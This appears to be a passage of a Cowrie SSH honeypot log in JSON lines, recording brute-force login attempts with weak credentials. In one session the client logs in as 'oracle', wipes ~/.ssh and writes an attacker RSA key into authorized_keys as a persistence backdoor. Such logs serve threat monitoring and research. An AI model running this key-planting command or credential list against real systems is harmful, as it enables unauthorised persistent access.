{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:52.116495Z","src_ip":"40.81.244.142","session":"996d957d48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:52.410294Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:52.946072Z","src_ip":"40.81.244.142","session":"996d957d48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc123","message":"login attempt [root/qweasdzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:53.550742Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:54.147842Z","src_ip":"40.81.244.142","session":"996d957d48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:54.689989Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:55.830130Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":6938,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b41e2c380a7","protocol":"ssh","message":"New connection: 222.167.161.198:6938 (159.203.135.109:22) [session: 5b41e2c380a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:58.452210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:58.455932Z","src_ip":"222.167.161.198","session":"5b41e2c380a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:58.728338Z","src_ip":"222.167.161.198","session":"5b41e2c380a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"admin123","message":"login attempt [kafka/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:59.873714Z","src_ip":"222.167.161.198","session":"5b41e2c380a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:01.150342Z","src_ip":"222.167.161.198","session":"5b41e2c380a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":51558,"dst_ip":"159.203.135.109","dst_port":22,"session":"31fae1e303b4","protocol":"ssh","message":"New connection: 101.36.124.127:51558 (159.203.135.109:22) [session: 31fae1e303b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:39.515973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:39.520524Z","src_ip":"101.36.124.127","session":"31fae1e303b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:39.741943Z","src_ip":"101.36.124.127","session":"31fae1e303b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"q1w2e3r4","message":"login attempt [user1/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:40.659437Z","src_ip":"101.36.124.127","session":"31fae1e303b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:41.887486Z","src_ip":"101.36.124.127","session":"31fae1e303b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":33390,"dst_ip":"159.203.135.109","dst_port":22,"session":"521c5e648193","protocol":"ssh","message":"New connection: 96.70.252.227:33390 (159.203.135.109:22) [session: 521c5e648193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:50.454409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:50.498991Z","src_ip":"96.70.252.227","session":"521c5e648193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:50.530549Z","src_ip":"96.70.252.227","session":"521c5e648193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"kira1234","message":"login attempt [ubuntu/kira1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:50.684820Z","src_ip":"96.70.252.227","session":"521c5e648193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:51.731087Z","src_ip":"96.70.252.227","session":"521c5e648193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":46326,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bb23c8e98d6","protocol":"ssh","message":"New connection: 40.81.244.142:46326 (159.203.135.109:22) [session: 7bb23c8e98d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:54.131771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:54.137048Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:54.331126Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qweasd","message":"login attempt [oracle/qweasd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:55.136449Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:55.568377Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:55.571618Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:55.574939Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:55.771991Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.200217Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.203443Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.401217Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.406644Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":51324,"dst_ip":"159.203.135.109","dst_port":22,"session":"add48f40e16c","protocol":"ssh","message":"New connection: 40.81.244.142:51324 (159.203.135.109:22) [session: add48f40e16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.585783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.591764Z","src_ip":"40.81.244.142","session":"add48f40e16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:56.780948Z","src_ip":"40.81.244.142","session":"add48f40e16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:57.569668Z","src_ip":"40.81.244.142","session":"add48f40e16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:58.761194Z","src_ip":"40.81.244.142","session":"add48f40e16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":51336,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e63d9b4dcf","protocol":"ssh","message":"New connection: 40.81.244.142:51336 (159.203.135.109:22) [session: f6e63d9b4dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:58.945086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:58.953455Z","src_ip":"40.81.244.142","session":"f6e63d9b4dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 